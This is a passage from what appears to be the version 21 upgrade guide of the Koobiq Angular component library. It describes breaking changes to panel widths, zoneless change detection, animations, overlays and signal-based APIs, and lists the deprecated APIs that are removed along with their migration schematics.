`kbq-tree-select` already exposed these as signals, so it is unaffected. `KbqDropdownPanel.panelWidth` / `panelMinWidth` / `panelMaxWidth` are typed `Signal<...>` for the same reason.

**Panels no longer grow past 640px with their content.** `kbq-select`, `kbq-tree-select` and `kbq-autocomplete` previously had no cap at all, so a panel with long option text could grow arbitrarily wide; it now stops at 640px. Panels whose width comes from the trigger or from an explicit `panelWidth` are unaffected. To restore the old behaviour set `--kbq-panel-size-width-max: none` on `:root`, or raise the cap for one instance with `panelMaxWidth`.

**`panelWidth="auto"` on `kbq-select` and `kbq-tree-select`** no longer goes below `panelMinWidth` (200 by default). A trigger narrower than 200px used to produce a panel of exactly the trigger's width; it now produces a 200px panel. If you relied on that, set `panelMinWidth="0"`. This cannot be migrated automatically — whether it affects you depends on the rendered width of the trigger.

**`panelWidth={{0}}` on `<kbq-autocomplete>`** is now an explicit width instead of being treated as unset — the panel renders at literally `0px` instead of sizing to content. `getOverlaySize()` used to treat `panelWidth` as falsy-checked, so `0` fell back to content-sizing; `select`/`tree-select` already treated `0` as an explicit width before this release, and autocomplete is now consistent with them. This only matters if `panelWidth` is bound to an expression that can evaluate to `0` (a literal `panelWidth="0"` has no legitimate use); it can't be schematic-migrated since it depends on a runtime value, not a static template attribute.

**`kbq-timezone-select` no longer has width defaults of its own.** It used to declare `panelWidth: 'auto'` and `panelMinWidth: 640`; both are gone, so it now inherits the select's defaults — the menu sizes to its content, never narrower than the field or 200px, and stops at 640px. In practice the panel used to match the field exactly (the `640` minimum never reached the DOM between 20.0.0 and 20.1.0), so the visible change is that the menu now grows with long timezone names. Set `panelWidth="auto"` to get the old field-matching behaviour back.

**`[panelMinWidth]="null"`** now keeps the trigger-width floor. It previously produced an invalid `NaNpx`, which browsers dropped, removing every minimum.

**`KbqDropdown.triggerWidth`** is deprecated and has no effect (it has been unread since 20.0.0). To make a dropdown panel match an element other than its trigger, set `KbqDropdownTrigger.widthOrigin`. `kbq-split-button`'s `panelAutoWidth` does this for you and now works — previously it wrote to `triggerWidth` and did nothing.

**`kbq-dropdown`'s minimum width is now measured with `getBoundingClientRect()`** (the trigger's full border-box) instead of `getComputedStyle().width` minus its borders (the old, incorrectly-computed content-box). A trigger with padding or a border renders a wider panel than before by that amount; a trigger with neither is unaffected.

#### Upgrade to Angular 21

In version 21.0.0 the library moves to Angular 21. Requirements: **Angular 21+**, **TypeScript 5.9** and **Node.js 20.19, 22.12 or 24+**. Update Angular first, then Koobiq:

```bash
ng update @angular/core@21 @angular/cli@21 @angular/cdk@21
ng update @koobiq/components@21
```

##### Zoneless change detection

Koobiq components no longer depend on zone.js: they render in an application bootstrapped with `provideZonelessChangeDetection()` and keep working with `provideZoneChangeDetection()`. What used to wait for `NgZone.onStable` now runs after the next render.

- **`MockNgZone` is removed** from `@koobiq/components/core`. It fired `onStable` on demand, and nothing in the library listens to it any more: drop the `NgZone` override, and replace `simulateZoneExit()` with `fixture.detectChanges()` or `await fixture.whenStable()`.
- **A spec without zone.js renders only when told to.** A check made right after an event needs `fixture.detectChanges()` or `await fixture.whenStable()` first, and `whenStable()` no longer waits for timers the component started.
- **The actions panel container is `OnPush`**, like the sidepanel container. In an application with zone.js, a component opened in the panel that writes its fields from a timer or a subscription calls `markForCheck()` or keeps that state in a signal.

`zoneless-change-detection` reports every use of `MockNgZone` and `simulateZoneExit()`:

```bash
ng g @koobiq/components:zoneless-change-detection --project "<your project>"
```

##### Animations without @angular/animations

Koobiq components no longer use `@angular/animations`, which Angular deprecated: they animate with CSS and wait for the end of an animation themselves. `@angular/animations` is no longer a peer dependency, and the components no longer need `provideAnimations()`: remove it, and the package, unless the components of your application declare `animations: [...]` themselves.

- **The motion is off under `prefers-reduced-motion: reduce`.** To turn it off in the whole application, for example in an end-to-end suite, provide `{ provide: KBQ_ANIMATIONS_CONFIG, useValue: { animationsDisabled: true } }` from `@koobiq/components/core`. `provideNoopAnimations()` still turns it off, but it belongs to the deprecated package.
- **The exported triggers are removed**: `fadeAnimation` and `kbqSelectAnimations` from `core`, `kbqDropdownAnimations`, `fadeInItems` and `transformDropdown` from `dropdown`, `kbqTabsAnimations` from `tabs`, `kbqPopoverAnimations` from `popover`, `kbqDatepickerAnimations` from `datepicker`, `KbqNotificationCenterAnimations` from `notification-center` and `kbqAppSwitcherAnimations` from `app-switcher`. `KbqSidepanelAnimationState` is no longer exported from `sidepanel`, nor `MODAL_ANIMATE_DURATION` from `modal`: instead of a timer of that length, act on `afterOpen` / `afterClose` of the `KbqModalRef`.
- **The members that carried an `AnimationEvent` are removed.** `KbqPopUp.animationStart()` and `animationDone()`: a subclass overrides the protected `afterShowAnimation()`, which runs once each time the pop-up appears, not again when the pointer returns to an open one. `KbqDropdown.animationDone`, `isAnimating`, `panelAnimationState`, `startAnimation()`, `resetAnimation()`, `onAnimationStart()` and `onAnimationDone()`: a custom trigger calls `setOpened()`. `KbqSidebar.animationState`, `onAnimationStart()` and `onAnimationDone()`: listen to `stateChanged`. `KbqTabBody.onTranslateTabStarted()` and `onTranslateTabComplete()`, `KbqToastService.animation`, `KbqToastComponent.animationState` and `onAnimation()`, the `animationStateChanged` of the sidepanel and actions panel containers, and `animationState`, `animationTransform` and `setAnimationState()` of the sidepanel container: follow a panel through its ref — `afterOpened()`, `beforeClosed()`, `afterClosed()`. The protected `KbqContentPanelContainer.contentAnimationState` fed the removed `@contentAnimation` trigger: a subclass reads `isOpened()`.
- **The dropdown panel no longer fades out**: it is closed, and its lazy content detached, as soon as the trigger reports it.
- **In a spec, what waited for an animation callback now waits for the next render**: `fixture.detectChanges()` or `await fixture.whenStable()`. jsdom has no Web Animations API, so nothing animates there.

`angular-animations-removal` reports every use of the removed triggers and members:

```bash
ng g @koobiq/components:angular-animations-removal --project "<your project>"
```

##### Overlays in the top layer

The CDK 21 opens overlays as popovers in the browser top layer, and the components keep that default: a panel is drawn above the whole page, whatever stacking context surrounds its trigger. The `z-index` of `.cdk-overlay-container` no longer orders panels against the application's own fixed and sticky elements, so an override of it has no effect. An application that relied on it opts out with `OVERLAY_DEFAULT_CONFIG` from `@angular/cdk/overlay`:

```typescript
import { OVERLAY_DEFAULT_CONFIG } from '@angular/cdk/overlay';

bootstrapApplication(AppComponent, {
    providers: [{ provide: OVERLAY_DEFAULT_CONFIG, useValue: { usePopover: false } }]
});
```

##### Color as a signal

`color` of `KbqColorDirective` is a writable signal, and so is the `color` of every component built on it: the buttons, checkbox, toggle, radio, icons, form field, hints, cleaner, progress bar and spinner, and tag. The `[color]` binding is unchanged.

- **A read is a call, a write is `.set()`**: `icon.color()`, `button.color.set(KbqComponentColors.Theme)`. A color set in code holds until the `[color]` binding changes, as an assigned one did.
- **An unset or falsy `[color]` renders the default color of the component**, `kbq-empty` where it has none, instead of no color class.
- **A subclass can no longer override the `color` accessor.** Set its default with `setDefaultColor()` instead of assigning `color` in the constructor. `_color` is removed, `defaultColor` is a signal, and `KbqColorDirective` takes the type of its color as a parameter: `KbqColorDirective<KbqButtonColor>` for the buttons. `CanColor` is removed: type the member `Signal<KbqComponentColors | string>`, or use `KbqColorDirective`.

`color-signals` rewrites the reads and writes, and reports subclasses:

```bash
ng g @koobiq/components:color-signals --project "<your project>"
```

##### Removed mixins

`mixinDisabled` and `mixinTabIndex` are removed from `@koobiq/components/core` with `CanDisable`, `CanDisableCtor`, `HasTabIndex` and `HasTabIndexCtor`. They were deprecated and unused inside the library: declare `disabled` and `tabIndex` as inputs of the class instead. `core-mixins-removal` reports every use:

```bash
ng g @koobiq/components:core-mixins-removal --project "<your project>"
```

##### Options

`KbqOption`, `KbqOptgroup`, the option action and `KbqTimezoneOption` keep their state in signal inputs. The state of an option is still read as a property — `event.option.value`, `select.selected.disabled`, `option.viewValue` in a `kbqSelectTagContent` template — so those reads are unchanged.

- **Programmatic writes are gone**: `option.value`, `viewValue`, `disabled`, `showCheckbox` and `KbqTimezoneOption.timezone` are bound in the template.
- **`KbqOptgroup.disabled` and `KbqOptionActionComponent.disabled` are signals**: `group.disabled()`.
- **`KbqOption.stateChanges` no longer emits for `disabled`**, and `textElement` is typed `ElementRef | undefined`.

`option-signals` rewrites the reads of the group and the action, and reports the writes:

```bash
ng g @koobiq/components:option-signals --project "<your project>"
```

##### Number input and input type

`KbqNumberInput.value`, `KbqNumberInput.disabled` and `KbqInput.type` are signal inputs read through a getter: a read is unchanged, a programmatic write no longer compiles. Bind `[value]`, `[disabled]` and `[type]`, or write through the form control. `input-signals` reports every write:

```bash
ng g @koobiq/components:input-signals --project "<your project>"
```

##### List

The inputs of `KbqListSelection` and `KbqListOption` are signal inputs read through a getter: a read is unchanged, a programmatic write no longer compiles. Bind them in the template, and disable the list through its form control. `KbqListOption.selected` and `KbqListSelection.multipleMode` stay writable. `list-signals` reports every write:

```bash
ng g @koobiq/components:list-signals --project "<your project>"
```

##### Checkbox, toggle, radio, button toggle, buttons, icons, search and pop-ups

Their inputs are signal inputs named `<member>Input`, handed to the unchanged member from `ngOnChanges`: reading and writing `checkbox.checked`, `button.disabled`, `icon.iconName` or `tooltip.content` works as before. The same goes for the tooltip, popover, popover confirm, app switcher and notification center triggers, the password toggle and the ellipsis center, and for the tags, file uploads, accordion item, navbar item, notification item and sidebar. The exception is a member another migration moved to a signal, such as `color` (see Color as a signal) or the tag members and the form-field state of the tag list (see Tags).

- **A subclass** that implements `ngOnChanges` calls `super.ngOnChanges(changes)`, and one that redeclared an `@Input()` overrides the `<member>Input` signal input instead, e.g. `iconNameInput`.
- **A boolean input** accepts `boolean | string | null | undefined` in a template, rather than anything.
- **`KbqPopUp.elementRef` is a protected getter.** A panel that renders an element of its own overrides it over a `viewChild()` instead of re-declaring the field with `@ViewChild`.

`signal-inputs-subclasses` reports every subclass:

```bash
ng g @koobiq/components:signal-inputs-subclasses --project "<your project>"
```

##### Datepicker

The inputs of `KbqDatepicker`, `KbqDatepickerInput`, `KbqDatepickerToggleIconComponent`, `KbqCalendar`, `KbqCalendarHeader` and `KbqMonthView` are signal inputs named `<member>Input`, handed to the unchanged member from `ngOnChanges`: reading and writing `datepicker.opened`, `datepicker.startAt`, `input.min` or `calendar.minDate` works as before. The exception is the form-field state of `KbqDatepickerInput`: `value`, `id`, `placeholder`, `focused`, `empty`, `required`, `disabled` and `errorState` are signals, migrated by `form-field-signals` (see Form field review (21.0.0)).

- **A subclass** that implements `ngOnChanges` marks it `override` and calls `super.ngOnChanges(changes)`, and one that redeclared an `@Input()` overrides the `<member>Input` signal input instead, e.g. `minInput`.
- **A `SimpleChanges` passed to `ngOnChanges` by hand** is keyed by the `<member>Input` names: `minDateInput`, not `minDate`.
- **A boolean input** — `hasBackdrop`, `disabled` and `opened` — accepts `boolean | string | null | undefined` in a template.

`datepicker-signals` reports every subclass and every direct call of `ngOnChanges`:

```bash
ng g @koobiq/components:datepicker-signals --project "<your project>"
```

**Without a locale service, the placeholder names the format the input takes.** It used to be the `ru-RU` one whatever locale the date adapter parsed in. It now follows the date adapter of the input — `KBQ_DATE_LOCALE`, Angular's `LOCALE_ID` unless provided, on a component too — so with the default `en-US` it reads `yyyy-mm-dd`; for a locale the library ships no strings for, or a format set through `KBQ_DATE_FORMATS`, it is the format itself, such as `yyyy/mm/dd`. To keep the former one, bind `[placeholder]` or pass it to `kbqDatepickerLocaleConfigurationProvider()`. With a locale service nothing changes.

##### Tabs

The inputs of `KbqTabGroup`, `KbqTab`, `KbqTabNavBar`, `KbqTabLink` and of the header, labels and bodies inside the tab group are signal inputs named `<member>Input`, handed to the unchanged member from `ngOnChanges`: reading and writing `tabGroup.selectedIndex`, `tabGroup.headerPosition`, `tab.disabled` or `tabLink.active` works as before. Their queries are signal queries behind getters: `KbqTabGroup.tabs` and `KbqTabNavBar.items` are still `QueryList`s whose `changes` emit as before.

- **A subclass** that implements `ngOnChanges` marks it `override` and calls `super.ngOnChanges(changes)`, and one that redeclared an `@Input()` overrides the `<member>Input` signal input instead, e.g. `headerPositionInput`. A query it redeclared with `@ContentChildren` or `@ViewChild` — `tabs`, `items`, `templateLabel` — is overridden as a getter.
- **A `SimpleChanges` passed to `ngOnChanges` by hand** is keyed by the `<member>Input` names: `disabledInput`, not `disabled`.
- **A boolean input** — `disabled`, `active`, `vertical`, `disablePagination` — accepts `boolean | string | null | undefined` in a template.
- **A bound `undefined`** resets the member to its default rather than leaving it as it was: `headerPosition` becomes `'above'`, `animationDuration` the duration of `KBQ_TABS_CONFIG`, `tooltipTitle` `''` and a boolean input `false`, `selectedIndex` selects the first enabled tab, and a `KbqTabLink` gets `tabIndex` `0` and its generated `id`.
- **`KbqTab.templateLabel` follows the `kbqTabLabel` in the content of the tab**: once that is removed, the tab shows its text label rather than the removed template.

`tabs-signals-and-aria` reports every subclass and every direct call of `ngOnChanges`:

```bash
ng g @koobiq/components:tabs-signals-and-aria --project "<your project>"
```

##### Query lists

The `options` of `KbqSelect`, `KbqAutocomplete` and `KbqListSelection`, the `tags` of `KbqSelect` and `KbqTagList`, `KbqRadioGroup.radios`, `KbqTreeSelection.unorderedOptions`, the `focusableItems` of `KbqNavbar` and `KbqVerticalNavbar`, and the `textElement` of `KbqTag` and `KbqDropdownItem` are getters over signal queries. They keep their types — a `QueryList` whose `changes` emit as before, or an `ElementRef` — so reading them works as before. Before the content is initialized a `QueryList` is empty rather than `undefined`.

- **A subclass** that redeclared one of them, with a query decorator or as a field, removes the redeclaration or overrides the getter.
- **A write** to one of them no longer compiles: render the items in the template.
- **`KbqCodeBlock.tabLinkTemplate`**, which is protected, is a signal: a subclass reads `this.tabLinkTemplate()`.

`query-list-signals` reports every redeclaration and write:

```bash
ng g @koobiq/components:query-list-signals --project "<your project>"
```

##### State as signals

The state that components and services expose for reading is a signal, where it used to be a `BehaviorSubject`, an `Observable` or a plain field. The streams that report events stay observables.

| Member                                                                                                                    | Was                                   | Now                                                |
| ------------------------------------------------------------------------------------------------------------------------- | ------------------------------------- | -------------------------------------------------- |
| `silentMode`, `loadingMode`, `errorMode`, `loadingMore`, `loadMoreErrorMode`, `hasMore` of `KbqNotificationCenterService` | `BehaviorSubject<boolean>`            | `Signal<boolean>`, written by the `set…()` methods |
| `unreadItemsCounter` of `KbqNotificationCenterService` and `KbqNotificationCenterTrigger`                                 | `Observable<string>`                  | `Signal<string>`                                   |
| `KbqNotificationCenterService.groupedItems`                                                                               | `Observable<KbqNotificationsGroup[]>` | `Signal<KbqNotificationsGroup[]>`                  |
| `hovered`, `focused` of `KbqToastService` and `KbqToastComponent`                                                         | `BehaviorSubject<boolean>`            | `Signal<boolean>`                                  |
| `filteredOptions` of `KbqFilters`, `KbqPipeSelectComponent` and `KbqPipeMultiSelectComponent`                             | `Observable`                          | a read-only `Signal`                               |
| `KbqSelect.hiddenItems`                                                                                                   | `number`                              | `Signal<number>`, as in `KbqTreeSelect`            |
| `KbqSearchExpandable.value`                                                                                               | `BehaviorSubject<string>`             | `WritableSignal<string>`                           |
| `hovered` of `KbqPopUp` and `KbqPopUpTrigger`: tooltips, popovers, the notification center and the app switcher           | `BehaviorSubject<boolean>`            | `Signal<boolean>`                                  |

- **Read** them with a call — `service.silentMode()`, `trigger.unreadItemsCounter()` — instead of `.value`, `.getValue()` or `| async`. Where a stream is still needed, wrap the signal in `toObservable()` from `@angular/core/rxjs-interop`.
- **Write** the notification center flags with their `set…()` methods and the search value with `value.set()`; the other signals are read-only.
- **`KbqNotificationCenterService.changes`** no longer emits on subscription: a handler that relied on that runs once on its own before subscribing.
- **`KbqFilters.filteredOptions`** now follows a change of the `filters` input too.
- **A pop-up trigger no longer marks its host view for check** when it opens or closes: an OnPush view that renders a field of its own, written from a `visibleChange` subscription made in code, calls `markForCheck()` itself or keeps the field in a signal. An output bound in the template needs nothing.
- **A getter backed by a signal is a tracked read.** `isOpen` of the pop-up triggers, `opened` of `KbqDropdownTrigger`, `KbqDatepicker` and `KbqSidebar`, `panelOpen` of `KbqSelect`, `KbqTreeSelect` and `KbqAutocompleteTrigger`, `expanded` of `KbqAccordionItem`, `isOpened` of `KbqSearchExpandable`, `selected` of the options, `selectedIndex` of `KbqTabGroup` and `isActive` of `KbqTab` keep their type, but reading one inside an `effect()` or a `computed()` makes it follow that state: an effect that opens or closes a component depending on one reads it with `untracked()`. The commands of the components — `open()`, `close()`, `toggle()`, `select()`, `writeValue()` and the like — read nothing an effect calling them would follow.
- **A number input bound to `undefined` or `null`** falls back to its default instead of becoming `NaN`: `tabIndex` of `kbq-checkbox`, `kbq-toggle`, `kbq-radio-button`, `kbq-search-expandable` and `kbqTabLink` reads `0` (a tab link no longer renders `tabindex="NaN"`), `selectedIndex` of `kbq-tab-group` selects the first enabled tab, `offset` of `kbqAppSwitcher` takes the default offset, and `tabIndex` of `kbq-list-selection` and `kbq-tree-selection` gives back the default tab stop (`0`, or `-1` without options). A value that is not a finite number counts the same.
- **Tabbing out of a list, tag list or tree leaves `tabIndex` alone.** `kbq-list-selection`, `kbq-tag-list` and `kbq-tree-selection` take themselves out of the tab order in the DOM only, so `tabIndex` reads the same value while the focus leaves, and then put back the tab stop they render. A tag list with a tag input renders no `tabindex` again instead of keeping `-1`, and a tree keeps a bound `[tabIndex]` when its rendered nodes change.
- **A subclass** of `KbqToastComponent`, `KbqPopUp` or `KbqPopUpTrigger` sets its hover state with the protected `setHovered()`; one of `KbqPipeSelectComponent` drops its `super.ngOnInit()` call, and one of `KbqDatepickerToggleIconComponent` its `super.ngAfterContentInit()` and `super.ngOnDestroy()` calls, since the classes no longer implement them. The protected `isListMode`, `showStartCalendar` and `showEndCalendar` of the date pipes are signals, `returnButton` may be `undefined` (the back button renders only when the pipe template has `values`), and a date pipe template binds `(keydown.tab)` and `(keydown.shift.tab)` of its date inputs to `onDateInputTab()`, which hides the calendars before the browser moves the focus.
- **`KbqFileItem`** keeps its `loading` and `progress` subjects, which the application updates.

`v21-upgrade` reports these reads, writes and `super` calls:

```bash
ng g @koobiq/components:v21-upgrade --project "<your project>"
```

#### Deprecated API removal (21.0.0)

The APIs deprecated in 20.x are removed in 21.0.0, those whose note promised removal in the next major release and those deprecated without a date alike. A renamed member or alias is rewritten by `v21-upgrade`; for the rest it reports the file and the replacement to use.

##### Accordion

| Removed                                   | Use instead                                                                             | Migration |
| ----------------------------------------- | --------------------------------------------------------------------------------------- | --------- |
| the `kbq-accordion-trigger__action` class | a `kbq-accordion-header__actions` element next to the trigger in `kbq-accordion-header` | reported  |

An action inside the trigger is a focusable element inside a `role="button"`, so the actions move out of the trigger: see [Interactive elements](https://koobiq.io/en/components/accordion.md#interactive-elements). `v21-upgrade` reports the class in templates, style sheets and code.

##### Code block and icon button

| Removed                                         | Use instead                       | Migration |
| ----------------------------------------------- | --------------------------------- | --------- |
| `canLoad` on `<kbq-code-block>`                 | `canDownload`                     | rewritten |
| `codeFiles` on `<kbq-code-block>`               | `files`                           | rewritten |
| `KbqCodeBlock.canLoadInput` / `.codeFilesInput` | `canDownload()` / `files()`       | reported  |
| `KbqCodeBlock.scrollableCodeContent`            | `scrollTo(options)`               | reported  |
| `small` on an icon button                       | `size="compact"`                  | rewritten |
| the `kbq-icon-button_small` class               | `kbq-icon-button_compact`         | rewritten |
| `KbqIconButton.small`                           | `size` (`'compact'` / `'normal'`) | reported  |

The aliases no longer fill in for their replacements: a `<kbq-code-block>` that binds both `canLoad` and `canDownload`, or both `codeFiles` and `files`, is reported and has to merge each pair into one binding. So is one that binds `canDownload` or `files` twice, which is what the 20.0.0 migration made of such a pair: only the last binding takes effect. A bound `[small]="expr"` becomes `[size]="(expr) ? 'compact' : 'normal'"`. A valueless `small` never took effect, because the input had no boolean transform; it is reported, as is a static `small` with any other value than `"true"`, which made the button compact.

##### Core

| Removed                                | Use instead                                                                | Migration           |
| -------------------------------------- | -------------------------------------------------------------------------- | ------------------- |
| `KbqThemeSelector.Default`             | `KbqThemeSelector.Light`                                                   | rewritten           |
| `KbqThemeNames.Default`                | `KbqThemeNames.Light`                                                      | rewritten           |
| `KbqDefaultThemes`                     | `KBQ_DEFAULT_THEMES`                                                       | rewritten           |
| `KbqTheme`                             | `KbqThemeConfig`: `colorScheme` is required, `selected` is gone            | rewritten, reported |
| `ThemeService`                         | `KbqThemeService`                                                          | reported            |
| `ThemeService.current` / `.getTheme()` | `currentTheme()`, a signal                                                 | reported            |
| `ThemeService.themes`                  | `themes()` / `setThemes()`                                                 | reported            |
| `ThemeService.setTheme(theme)`         | `setMode(theme.colorScheme)`, or `selectTheme(theme.name)` to pin a theme  | reported            |
| `getOptionScrollPosition()`            | `KbqOption.focus()` or `kbqFocusAndReveal(element)`: both scroll into view | reported            |

`v21-upgrade` reports `ThemeService` and `getOptionScrollPosition` where they are imported from `@koobiq/components/core`, and every file that names `KbqTheme`. Give each custom theme its `colorScheme` and compare a theme with `currentTheme()` instead of reading `selected`. Unlike `ThemeService`, `KbqThemeService` applies a theme as soon as it is injected and starts in `'auto'` mode: an app that called `setTheme()` at startup to force a theme sets `kbqThemeProvider({ mode: 'light' })` instead. The rest of the service is described in the theme service review below.

##### Dropdown and select

| Removed                                                             | Use instead                                                                               | Migration |
| ------------------------------------------------------------------- | ----------------------------------------------------------------------------------------- | --------- |
| `KbqDropdown.triggerWidth`, `KbqDropdownPanel.triggerWidth`         | `KbqDropdownTrigger.widthOrigin`, to match the panel to an element other than the trigger | reported  |
| `offsetY` of `KbqSelect`, `KbqTreeSelect`, `KbqTimezoneSelect`      | the `--kbq-connected-overlay-gap` CSS variable, set on `:root` or on the overlay pane     | reported  |
| `AUTOCOMPLETE_PANEL_HEIGHT`                                         | a constant of your own: the panel is capped by `--kbq-autocomplete-size-panel-max-height` | reported  |
| `DropdownPositionX` / `DropdownPositionY`                           | `KbqDropdownPositionX` / `KbqDropdownPositionY`                                           | rewritten |
| `KbqSelectPanelWidth`, `KbqTreeSelectPanelWidth`                    | `KbqPanelWidth` from `@koobiq/components/core`                                            | rewritten |
| `clearValue()` of `KbqSelect`, `KbqTreeSelect`, `KbqTimezoneSelect` | a projected `<kbq-cleaner />`; from code, reset the bound form control                    | reported  |
| the `kbq-dropdown__group-header_small` class                        | `<kbq-optgroup label="…" />`, `KbqOptgroup` from `@koobiq/components/core`                | reported  |

None of the removed members was an input, so no template binds them, and of `triggerWidth`, `offsetY` and `AUTOCOMPLETE_PANEL_HEIGHT` only `offsetY` of `kbq-timezone-select` still had an effect: it moved the panel. `v21-upgrade` reports `.triggerWidth` in a file that uses the dropdown, `triggerWidth` in a `KbqDropdownPanel` implementation, `.offsetY` in a file that uses one of the selects and an `offsetY` field of their subclass; the `offsetY` input of `KbqDropdownTrigger` stays. It renames the position types in a file that names `@koobiq/components/dropdown` and moves the panel width types to the core import; the position types elsewhere, an aliased import and a re-export are reported. `.clearValue` is reported in a file that uses one of the selects, except on `this` and on a form field, whose `clearValue()` stays; like the cleaner, it spared the options `clearPredicate` keeps, while a reset control loses them all. `<kbq-optgroup>` renders the subheading of the removed modifier inside a dropdown; `kbq-dropdown__group-header` itself stays.

##### Filter bar

| Removed                               | Use instead                                                                                            | Migration                    |
| ------------------------------------- | ------------------------------------------------------------------------------------------------------ | ---------------------------- |
| `KbqFilterBarRefresher`               | `KbqFilterRefresher`                                                                                   | rewritten                    |
| `KbqFilterBar.changes`                | `filter()` read in an `effect()`, or the `(filterChange)` output: `changes` never emitted              | reported                     |
| `KbqPipeMinWidth` (`kbqPipeMinWidth`) | nothing: a pipe lays its name and value out as shrinkable grid tracks, which keeps a short part intact | removed; other uses reported |
| `KbqPipe.required`                    | `cleanable: false` and `removable: false`: the filter bar never read `required`                        | reported                     |

`v21-upgrade` reports `.changes` in a file that names `KbqFilterBar`. It removes `KbqPipeMinWidth` from the `@koobiq/components/filter-bar` import and from `imports` arrays and the `kbqPipeMinWidth` attribute from templates, and reports any other reference to the directive. It reports a read of `data.required` in a custom pipe, and a `required` key only in an object literal that also has `cleanable`, `removable` or `type: KbqPipeTypes.…`: the `required` of a form config or a validator in the same file is left alone.

##### Form field

| Removed                                                        | Use instead                                                                         | Migration |
| -------------------------------------------------------------- | ----------------------------------------------------------------------------------- | --------- |
| `KbqPasswordHint` (`<kbq-password-hint>`)                      | `KbqReactivePasswordHint` (`<kbq-reactive-password-hint [hasError]="…">`)           | reported  |
| `PasswordRules`                                                | `PasswordValidators` from `@koobiq/components/core`, or a `ValidatorFn` of your own | reported  |
| `regExpPasswordValidator`                                      | `Validators.pattern` or a `ValidatorFn` of your own                                 | reported  |
| `hasPasswordStrengthError()`                                   | the errors of the form control                                                      | reported  |
| the `passwordStrength` error the form field set on the control | the errors of the password validators                                               | reported  |
| `KbqFormField.passwordHints` / `.hasPasswordHint`              | `viewChildren(KbqReactivePasswordHint)`                                             | reported  |
| `KbqInputPassword.checkRules()` / `.checkRule`                 | `control.updateValueAndValidity()` after changing the validators                    | reported  |
| `KbqFormField.canCleanerClearByEsc`                            | nothing: it was unused                                                              | reported  |
| `KbqFormField.onKeyDown()`                                     | nothing: it was a no-op                                                             | reported  |
| `KbqStepper.connectTo()`                                       | nothing: the stepper finds the number input of its form field by itself             | reported  |

`KbqReactivePasswordHint` shows the state it is given: put each rule on the form control as a validator and bind `[hasError]` to its error, for example `control.hasError('minLength')`. It has no counterpart of `[rule]`, `[min]`, `[max]`, `[regex]`, `[checkRule]` or `[viewFormField]`, so place it inside the `kbq-form-field`, which links it to the control through `aria-describedby`. `v21-upgrade` reports the first four where they are imported from `@koobiq/components/form-field`, `<kbq-password-hint>` and its classes in templates and style sheets, a check of the `passwordStrength` error, `.passwordHints`, `.hasPasswordHint` and `.onKeyDown()` on a form field, every `canCleanerClearByEsc`, `checkRules()` in a file that uses `KbqInputPassword`, and `connectTo()` in a file that uses `KbqStepper`.

##### Checkbox and toggle

`KbqCheckbox` and `KbqToggleComponent` no longer implement `ControlValueAccessor`. The `KbqCheckable` host directive has been the value accessor of both, so forms never called their own members; `[(ngModel)]` and `[formControl]` work as before.

| Removed                                                   | Use instead                                   | Migration |
| --------------------------------------------------------- | --------------------------------------------- | --------- |
| `KbqCheckbox` / `KbqToggleComponent.writeValue()`         | `checked = !!value`                           | reported  |
| `.setDisabledState()` of both                             | `disabled = isDisabled`                       | reported  |
| `.registerOnChange()` of both                             | the `(change)` output                         | reported  |
| `.registerOnTouched()` of both                            | the `touched` state of the bound form control | reported  |
| `KbqCheckbox.onTouched`                                   | nothing: it was never called                  | reported  |
| `KBQ_CHECKBOX_CONTROL_VALUE_ACCESSOR`                     | nothing: `KbqCheckable` registers itself      | reported  |
| `TransitionCheckState` from `@koobiq/components/checkbox` | the same enum from `@koobiq/components/core`  | rewritten |

`v21-upgrade` reports these uses in a file that names either class or its tag, except calls on `this`. A call that has to stay can go to the host directive: `viewChild(KbqCheckbox, { read: KbqCheckable })`, with `KbqCheckable` from `@koobiq/components/core`. It moves `TransitionCheckState` from the checkbox import into the core one, and reports it imported under an alias, re-exported or read through a namespace import of the checkbox.

`KbqToggleComponent.onLabelTextChange()` does nothing now and is deprecated for removal in 22.0.0: delete the call. `v21-upgrade` reports it.

The protected `KbqToggleComponent.currentCheckState` is a `Signal<TransitionCheckState>` shared with the host `KbqCheckable`: a subclass reads it as `currentCheckState()` and changes it through the `checked` and `indeterminate` setters. `v21-upgrade` reports a read without the call in a subclass.

##### Navbar, ellipsis center and description list

| Removed                                   | Use instead                                                                                                     | Migration         |
| ----------------------------------------- | --------------------------------------------------------------------------------------------------------------- | ----------------- |
| `longTitle` on `kbq-navbar-brand`         | nothing: the brand switches to the two-line title when the title does not fit on one line                       | removed, reported |
| `KbqNavbarBrand.longTitle` in code        | nothing                                                                                                         | reported          |
| `KbqNavbarItem.getTitleWidth()`           | `getOuterElementWidth()` of the item's `KbqNavbarTitle`; the navbar itself collapses by `getCollapsibleWidth()` | reported          |
| `KbqNavbarTitle.outerElementWidth`        | `getOuterElementWidth()`                                                                                        | reported          |
| `KbqEllipsisCenterDirective.resizeStream` | nothing: the shared `ResizeObserver` re-measures the host                                                       | reported          |
| `minWidth` on `<kbq-dl>`                  | `verticalBreakpoint`                                                                                            | rewritten         |
| `KbqDlComponent.minWidth` in code         | `verticalBreakpoint()`                                                                                          | reported          |

`[longTitle]="true"` forced the compact title on a name that fits and `false` kept the default one for a name that does not; neither has a replacement. `outerElementWidth` held the width measured once on init and only fed `getTitleWidth()`. `minWidth` took precedence over `verticalBreakpoint`, so a `<kbq-dl>` that sets both keeps its `minWidth` and is reported: move the value into `verticalBreakpoint`. A `[minWidth]` that resolved to `null` or `undefined` left the decision to `verticalBreakpoint`, while `[verticalBreakpoint]` given such a value never switches to the vertical layout, so bind a number. `v21-upgrade` reports each renamed `minWidth` whose value is not a number literal.

##### Popover trigger

The trigger inputs without the `kbqPopover` prefix are removed from `KbqPopoverTrigger` and `KbqPopoverConfirmTrigger`. The members they set — `defaultPaddings`, `container`, `hasBackdrop`, `hasCloseButton`, `closeOnScroll` and `backdropClass` — stay public, so code that reads or writes them keeps compiling.

| Removed                                          | Use instead                                                 | Migration |
| ------------------------------------------------ | ----------------------------------------------------------- | --------- |
| the `hideIfNotInViewPort` input                  | `kbqPopoverHideIfNotInViewPort`                             | rewritten |
| the `defaultPaddings` input                      | `kbqPopoverDefaultPaddings`                                 | rewritten |
| the `container` input                            | `kbqPopoverContainer`                                       | rewritten |
| the `hasBackdrop` input                          | `kbqPopoverHasBackdrop`                                     | rewritten |
| the `hasCloseButton` input                       | `kbqPopoverHasCloseButton`                                  | rewritten |
| the `closeOnScroll` input                        | `kbqPopoverCloseOnScroll`                                   | rewritten |
| the `backdropClass` input                        | `kbqPopoverBackdropClass`                                   | rewritten |
| `KbqPopoverTrigger.hideIfNotInViewPort` (signal) | `popoverHideIfNotInViewPort()`                              | reported  |
